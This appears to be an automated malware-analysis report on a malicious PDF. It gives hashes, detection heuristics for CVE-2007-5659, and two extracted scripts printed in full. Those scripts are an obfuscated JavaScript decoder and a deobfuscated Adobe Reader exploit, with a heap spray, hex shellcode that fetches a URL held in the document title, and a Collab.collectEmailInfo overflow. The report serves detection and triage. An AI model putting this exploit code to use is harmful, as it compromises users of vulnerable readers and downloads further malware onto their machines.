Malicious PDF — malware analysis report

Static analysis result for SHA-256 8a7f7b501f6f29a9…

MALICIOUS

PDF

20.1 KB Created: 2012-11-11 20:36:04 +03:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2026-05-09
MD5: cde918076e876962e6400ea88a718429 SHA-1: 3ee1abbd60b875dbd76f4ee2a4d5d12e45b8ba95 SHA-256: 8a7f7b501f6f29a9ceeaed86777f4a0d166233a3f4aadbe2735734760f0499db
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier with high confidence. Embedded JavaScript was detected, indicating an attempt to execute code. While no specific URLs or hashes were extracted, the presence of JavaScript strongly suggests the file is a downloader or dropper for further malicious activity. The ML classifier's high confidence score supports this assessment.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9977

Heuristics 5

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0x4CD6 1302 bytes
SHA-256: 32439d417d3852463929be759ed6b68ea717f90e0cdbe484a5913af2c9706985
Detection
ClamAV: No threats found
Obfuscation or payload: likely
21 of 39 identifiers look randomly generated (e.g. 'dfhja78r278fdsa78tffdfssdf78dasf678as87d') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var hjgklsfoire34o = "fghijk";
var reg34e34rfrew = ':ABCD'+'EFG';
var ewr32r23wre = 'QRS'+'TU'+'VWXYZ{'+'}';
var rere3ew2r23w = "()[]^"+"abc"+"de";
var ewrwr23wrewf = 'pqrstuvw';
var ert4t3ret = '45678';
var werr3r2wr3er = '"=<>&\\';
function sdrgdge54gr(dfhrh56t){
var fjyr65rt="";
var mnbhiy7irtf = 38;
for (var i = 0;i<dfhrh56t.length-(15-14);i++)
{var cxnerg4feeswf = dfhrh56t[i];
var cxvb5ryrr=xczr4etw4e.indexOf(cxnerg4feeswf)-mnbhiy7irtf;
var rwghoeregregr= cxvb5ryrr+xczr4etw4e.length;
if (cxvb5ryrr<(10-10)){cxvb5ryrr=rwghoeregregr}
fjyr65rt += xczr4etw4e.charAt(cxvb5ryrr)}
return fjyr65rt;}
var dsfvcwt4es = '9/!%+-*.,;';
var esdrzw4ry = hjgklsfoire34o+"lmno"+ewrwr23wrewf+'x'+'yz_0123'+ert4t3ret+dsfvcwt4es+werr3r2wr3er;
var nmxcbver4t = ewr32r23wre+' '+rere3ew2r23w+esdrzw4ry;
var xcvzwt4ert4t = reg34e34rfrew +'HIJKLMNOP';
var edrrrt4fw4re = xcvzwt4ert4t+nmxcbver4t;
var xczr4etw4e =edrrrt4fw4re;
var erg4wtgeg=getField("WSWSWS");
var ewfwr34fw4e=erg4wtgeg.value;
var xcvbretyg43e = sdrgdge54gr(ewfwr34fw4e);
var xbv4tter4t = "hauaiyh9iryh98wyf98awyf89sdayfp89aewyf89wey9wev"+"alrgwrgqr3ewgergvaebgegaehergg";
var dfhja78r278fdsa78tffdfssdf78dasf678as87dasf78d6fs78dfas7d7dt78 = xbv4tter4t.substr(45,4);
app[dfhja78r278fdsa78tffdfssdf78dasf678as87dasf78d6fs78dfas7d7dt78](xcvbretyg43e);
acroform_shifted_field_stage_000.js deobfuscated-js AcroForm field shifted-alphabet decoded (shift 38) at offset 0x4E2 2058 bytes
SHA-256: a69b23141bc7abc783a02a2436a044dedf39a62f4fbe48daec43fa4a3bd53c2d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function hex2bin(res) {var i;var g = Math.round(res.length/4);if (g != (res.length/4)) res = res + "00";var out = "";for (i=0; i<res.length; i+=4) {out = out + "%u" + res.substr(i+2,2) + res.substr(i,2);}return unescape(out);}function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}return yarsp.substring(0, len / 2);}function heapSpray(str){roteDak = str.length * 2;dakRote= "\u9090";spray = fix_it(dakRote, 0x2000 - roteDak);loxWhee = str + spray;loxWhee = fix_it(loxWhee, 524098);memory = new Array();for(i=0; i < 300; i++){memory[i] = loxWhee.substr(0,loxWhee.length - 1 ) + dakRote;}}function str_repeat ( input, cnt ) {var buf = "";for (i=0; i < cnt; i++){buf += input;}return buf;}function shellcode(loadUrl){var scode = "EB115B4B33C96681C9000480340BE4E2FAEB05E8EAFFFFFF0D5AE5E4E4D52D806F95D46F92E86F92F86F8AEC6FA2C46FD282DDACFC91166FA1D86FB0E19CE50E6F96C4E50AB6D52DADA549E50CD53FEB5AF4DC1690EC252FEAE537A40F15DFFB9103BE6F96C0E50A826FE8AA6F96F8E50A6FE06AE50C4FBFB727BB0C791B1B1B0C561B1B1B0C491B1B1B0C4C1B1B1B0C471B1B1B0C7A1B1B1B0C7D1B1B1B0C701B1B1B8C88D7D6E48C978C8188B01BB3186D210C9B1B1B1B0C9E1B1B1B8C8B8AE4E48C91968889B01BB3106D210C811B1B1B6723E0D52D6D01B1B5B58ECCB51BB314A1EB5AB1E4DC16911323A1E4B88997CA23A1E0819C81E46D01825FE0E482AF82671FE4EB602EE4E4E4D52DB5B5B1B3B51BB31C671CE491018EE08CE4F4E4E48CE4C4AAE48EE41BB3306D22D52DB58EB48EE7B5B58CE4E4E424B11BB33C6DA308B16D11D52D6D1C670CE0B5B48CC0F4E4E4B11B93081BB338E78B18679B18E491066D15ADA5DD0D90ECA564D5D7DD0D9117D52DB5B5B51B93081BB304D52D6D1C670CE0CD11B5B4B1B21B93081BB3001B93081BB30C825FE2E482AF82671FE490D6D52DB98EE1B5B5B1B5B51BB310671CC49A02D524D52DA4EB5AF0E3DC16911323E0E3C282D9D56DA8E3E0B5B5B5B3B51BB31CD52DB51BB3340C7E1A1B1B2593AE036E8B22F7066A9410EF5FD2F3953F0266F7186987975D31E51DF99B4DB8462C2FA0E27CA84A8287731B1B1B1B" +loadUrl + "E4";return scode;}var loadUrlAlsoXored = this.info.Title;var scode = shellcode(loadUrlAlsoXored);heapSpray(hex2bin(scode));var msg_bof = str_repeat( "\u0c0c\u0c0c" , 4096 );this.collabStore = Collab.collectEmailInfo({subj:"",msg:msg_bof}); \

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